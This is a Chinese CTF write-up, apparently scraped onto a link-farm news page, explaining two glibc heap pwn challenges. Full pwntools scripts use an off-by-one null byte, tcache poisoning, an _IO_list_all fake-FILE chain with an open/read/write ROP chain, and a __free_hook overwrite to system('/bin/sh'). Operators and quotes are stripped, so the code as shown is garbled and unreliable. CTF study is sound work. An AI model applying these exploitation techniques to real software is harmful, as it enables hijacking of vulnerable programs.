当前位置: 首页 > news >正文

辽宁城市建设网站广东石油化工建设集团网站

辽宁城市建设网站,广东石油化工建设集团网站,哪个网站的域名到期直接注册表,如何注册域名?成本多少拿到堆附件#xff0c;不清楚哪个是密码哪个是pwn#xff0c;找到两个pwn#xff0c;一个RSA密码相对简单#xff08;已知e,d,N,直接用N解出k((ed-1)//phi_N(ed-1)//N^2),然后求pq#xff0c;而phi_N正好是pq的2次方程#xff09;。就只复现了两个pwn#xff0c;感觉还有…拿到堆附件不清楚哪个是密码哪个是pwn找到两个pwn一个RSA密码相对简单已知e,d,N,直接用N解出k((ed-1)//phi_N(ed-1)//N^2),然后求pq而phi_N正好是pq的2次方程。就只复现了两个pwn感觉还有些难的。 小红书的记事本 一个不常见的libc版本 2.33下载glibc里居然在河北的DNS给拦截了原因好像是未备案。这ubuntu.com有必要在河北备案吗。 堆题有add,free,show漏洞在add处有个off_by_one_null __int64 __fastcall sub_C40(_BYTE *a1, int a2) {int i; // [rsp1Ch] [rbp-4h]if ( a2 0 )return 0LL;for ( i 0; ; i ){if ( (unsigned int)read(0, a1, 1uLL) ! 1 )return 1LL;if ( *a1 10 )break;a1;if ( i a2 ) /*会多读入1字符*/break;}*a1 0; /*在读入字符后加一个\0 */return 0LL; } 这个带\0截断的确实比较麻烦又没有edit。这里可以建个0x10000的块在利用前面块的1字节溢出修改尾字节包含后边的块在free以后造重叠块。 另外一个小坑是这个版本unsort的指针尾字节也是0只能建大块让unsort进入smallbin再泄露。 然后是禁用了exec 用IO_list_all造fake_file原来存了一个模板。先造一个fake_file输出environ再链接下一个fake_file读第3个fake_file第3个把ROP读到栈上。 由于是通过触发的exit它调用fcloseall_0所以ROP要写在fcloseall_0的返回地址处。 from pwn import * context(archamd64, log_leveldebug)libc ELF(./libc-2.33.so)#在add写入时可以多写1字节但最后会加\0 def add(idx,size,msgb\n):p.sendafter(bChoice:\n, b1.ljust(8,b\0))p.sendafter(bIndex: \n, str(idx).encode().ljust(8,b\0))p.sendafter(bSize: \n, str(size).encode().ljust(8,b\0))p.sendafter(bContent: \n, msg)def show(idx):p.sendafter(bChoice:\n, b2.ljust(8,b\0))p.sendafter(bIndex: \n, str(idx).encode().ljust(8,b\0))p.recvuntil(bContent: \n)def free(idx):p.sendafter(bChoice:\n, b3.ljust(8,b\0))p.sendafter(bIndex: \n, str(idx).encode().ljust(8,b\0))p process(./pwn)#unsort xxx00 for i,s in enumerate([0x18,0x10000,0x18,0x48,0x58,0x48,0x58]):add(i,s,b\n)free(0) add(0,0x18,b\0*0x18p8(0xe1)) #将0x10011改为0x100e1包含1234 free(1) add(1,0x10000) add(7,0xf0) #0xd0 unsort-smallbin unsort的指针尾地址为0将unsort转为smallbin再泄露 show(2) libc.address u64(p.recv(6)b\0\0) - 0x1e0cc0 print(f{libc.address :x})add(12,0x18) add(13,0xa0) #1334 无法用完smallbin至少保留0x20 free(12) add(12,0x18, b1*0x18p8(0x51)) #0xb1-0x51 free(3) #133 show(13) heap (u64(p.recvuntil(bDone, dropTrue).ljust(8, b\0)) 12) print(f{heap :x})add(3,0x48) free(5) free(3) free(12) add(12,0x18, b1*0x18p8(0xb1)) free(13) add(13, 0xa8, p64(libc.sym[_IO_list_all]^(heap12))[:-1]b\n) free(12) add(12,0x18, b1*0x18p8(0x51)) add(5, 0x48) add(15,0x48, p64(heap-0x100000x2c0)b\n) #_IO_list_all chunk1#fake_file pop_rdi libc.address 0x0000000000028a55 # pop rdi ; ret pop_rsi libc.address 0x000000000002a4cf # pop rsi ; ret pop_rdx libc.address 0x00000000000c7f32 # pop rdx ; ret pop_rax libc.address 0x0000000000044c70 # pop rax ; ret syscall libc.sym[getpid] 9# _IO_list_all-chunk1 heap_base heap - 0x10000 0x2c0 #chunk1 print(f{heap_base :x}) #write environ read file:read_rop #write(1,environ,8) 先执行第1个file输出environ的栈地址_chain指向第2个file fake_io_write flat({0x00: 0x8000 | 0x800 | 0x1000, #_flags0x20: libc.symbols[environ], #_IO_write_base0x28: libc.symbols[environ] 8, #_IO_write_ptr0x68: heap_base 0x100, #_chain - fake_io_read 0x70: 1, # _fileno0xc0: 0, #_modes0xd8: libc.symbols[_IO_file_jumps], #_vtables }, fillerb\x00) payload fake_io_write.ljust(0x100, b\x00)#read(0,heap_base0x200,0x100) 第2个file读入第3个file fake_io_read flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: heap_base 0x200, #_IO_write_base0x28: heap_base 0x300, #_IO_write_ptr0x68: heap_base 0x200, #_chain - fake_read_rop0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols[_IO_file_jumps] - 0x8, #_vtables }, fillerb\x00) payload fake_io_read.ljust(0x100, b\x00)free(1) add(1,0x1000, payloadb\n)#gdb.attach(p, b*0x7ffff7e19240\nc) p.sendafter(bChoice:\n, b4.ljust(8,b\0)) #执行exit时执行io_file #main.ret #exit-fcloseall_0-_IO_file_overflow ROP写的位置是fcloseall_0的返回地址处 target u64(p.recv(8)) - 0x100 - 8 -0x90 #fcloseall_0.ret-8 print(f{target :x})chain bflag\0\0\0\0 flat([pop_rdi , target , pop_rsi , 0 , pop_rax,2, syscall,pop_rdi , 3 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,0, syscall,pop_rdi , 1 , pop_rsi , heap , pop_rdx ,0x50 , pop_rax,1, syscall])#第3个file将rop读到栈上 fake_io_read flat({0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: target, #_IO_write_base0x28: target len(chain), #_IO_write_ptr0x68: 0, #_chain0x70: 0, # _fileno0xc0: 0, #_modes0xd8: libc.symbols[_IO_file_jumps] - 0x8, #_vtables }, fillerb\x00).ljust(0x100, b\x00) p.send(fake_io_read)p.send(chain)p.interactive() xheap 这个也是很麻烦。 题目先mmap了一个块 在建块时同时在堆内建一个0x30以内的块并在mmap里建一个0x20-0x100的块。 free时mmap里的块通过双向指针成链含size使用size相同的块并且指针与一个类似key的随机生成的值异或。 漏洞在于mmap里的模拟的堆没有头或以写溢出1字节。 在造的块内伪造链表并利用off_by_one修改尾字节指到fake链上由这个链将content块建到堆里。控制一个块头和指针。通过修改头和tcache.counter将块释放到unsort得到libc然后往free_hook里写system from pwn import * context(archamd64,log_level debug)libc ELF(./libc.so.6) #2.27-3ubuntu1.6_amd64def add(s10x18,m1b\n,s20x30,m2b\n):p.sendlineafter(bYour Choice: , b1)p.sendlineafter(btitle size: , str(s1).encode())p.sendlineafter(bcontent size: , str(s2).encode())p.sendafter(btitle: , m1)p.sendafter(bcontent: , m2)def free(idx):p.sendlineafter(bYour Choice: , b2)p.sendlineafter(bidx: , str(idx).encode())def show(idx):p.sendlineafter(bYour Choice: , b3)p.sendlineafter(bidx: , str(idx).encode())def edit(idx,m1,m2):p.sendlineafter(bYour Choice: , b4)p.sendlineafter(bidx: , str(idx).encode())p.sendafter(btitle: , m1)p.sendafter(bcontent: , m2)p process(./pwn_ori)add() add() add() add(s10x30)free(0) free(2)0x555555603050: 0x00000deadbeef060 0x0000000000000000 0x555555603060: 0x3a9027da69f65ec9 0x0000000000000000 0x555555603070: 0x0000000000000000 0x0000000000000000 0x555555603080: 0x0000555555a01260 0x0000000000000018 0x00000deadbeef000 0x0000000000000020 0x0000000000000000 0x0000555555a01280 0x0000000000000018 0x00000deadbeef030 0x0000000000000020 0x0000000000000001 0x5555556030d0: 0x0000555555a012a0 0x0000000000000018 0x00000deadbeef060 0x0000000000000020 0x00000000000000000x0000555555a012c0 0x0000000000000018 0x00000deadbeef090 0x0000000000000020 0x0000000000000001add(1,b\x60,0x30,bA*8) #0 show(0) p.recvuntil(btitle: ) heap u64(p.recvline()[:-1].ljust(8,b\0)) - 0x260 p.recvuntil(bcontent: ) p.recv(8) key u64(p.recv(8)) print(f{heap :x} {key :x}) xheap 0x00000deadbeef000add() #2 free(2) free(0)#gdb.attach(p, b*0x555555401535\nc)edit(1, flat(key, key^((xheap0x60)4),0x50), flat(0,0,key, key^((xheap0x60)4),0x40, 0) p64(key^((xheap0x40)4))[:1] )add(0x28,b000\n, 0x40, flat(0,0,0,0,key^((heap0x280)4))) add(0x28,b111\n,0x50, flat(0,0,0,0x91,heap0x10)) #2add(s10x18) #4 add(s10x18, m1b\0*7b\x07\n) #5 free(4)edit(2,b\n,bA*0x20) show(2) libc.address u64(p.recvuntil(b\x7f)[-6:]b\0\0) - 0x3ebca0 print(f{libc.address :x})edit(2,b\n,flat(0,0,0,0x91)) add(s10x20) #4 free(4) #tcache attack edit(2,b\n,flat(0,0,0,0x31, libc.sym[__free_hook])) add(0x20, b/bin/sh\0\n) #4 add(0x20, p64(libc.sym[system])b\n)free(4) p.interactive()
http://www.hkea.cn/news/14413989/

相关文章:

  • 企业网站做的好的有什么公司个人怎么建立公众号
  • 常德企业网站建设成都鱼羊环保网站制作设计
  • 网站做第三方登录界面如何做网站主页
  • 网站建设报价单 excel图片设计 五星级酒店网站
  • 什么网站可以接单做设计方案网络技术与网站建设
  • 哪个网站可以做英文兼职微信微网站开发报价单
  • 投诉网站建设网站定制价格
  • 做地铁系统集成的公司网站常见的网站结构类型
  • asp和php网站的区别大学作业旅游网站设计报告
  • 建站行业wordpress模板展示网站
  • 网站建设几个文件夹php网站开发程序编译软件
  • 怎么在自己的网站做淘宝客青岛网站设计公司推荐
  • c语言做的网站四川建筑资质证书查询
  • 网站语言编程wordpress手机端显示
  • 专业的学校网站建设北京高端网站建设价格
  • 山东建设信息网站百度一下你就知道官网新闻
  • 高端网站建设步骤哪些网站免费做职业测评
  • 全国有哪些做服装的网站青柠影院免费观看电视剧高清
  • 山东鸿泰建设集团有限公司网站wordpress图片不同分辨率
  • 做英德红茶的网站免费广告网
  • 网站空间域名如何用WordPress建小说站
  • 免费推广网站大全下载社群营销案例
  • 生产企业网站有哪些聪明的上海网站
  • 长春几个火车站啊拼多多无货源网店怎么开
  • 莆田建设企业网站青海网站建设哪家好
  • 高校网站建设汇报网页设计的图片怎么设置
  • 优秀品牌企业网站建设案例petit模板wordpress
  • 网站认证费用网站维护工程师工资
  • 杭州网站建设ttmwlwordpress主题开发电子书
  • 基本的网站建设步骤网站优化合同